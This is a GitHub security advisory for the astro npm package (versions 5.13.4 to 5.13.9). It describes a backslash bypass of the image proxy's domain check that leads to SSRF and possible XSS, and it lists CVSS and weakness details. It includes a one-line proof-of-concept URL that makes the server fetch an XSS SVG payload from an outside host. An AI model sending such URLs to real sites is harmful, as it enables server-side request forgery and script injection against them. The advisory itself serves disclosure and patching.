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Astro's bypass of image proxy domain validation leads to SSRF and potential XSS

High severity GitHub Reviewed Published Oct 28, 2025 in withastro/astro • Updated Oct 29, 2025

Package

npm astro (npm)

Affected versions

>= 5.13.4, < 5.13.10

Patched versions

5.13.10

Description

Summary

This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.

PoC

https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg

References

@matthewp matthewp published to withastro/astro Oct 28, 2025
Published to the GitHub Advisory Database Oct 28, 2025
Reviewed Oct 28, 2025
Published by the National Vulnerability Database Oct 28, 2025
Last updated Oct 29, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2025-59837

GHSA ID

GHSA-qcpr-679q-rhm2

Source code

Credits

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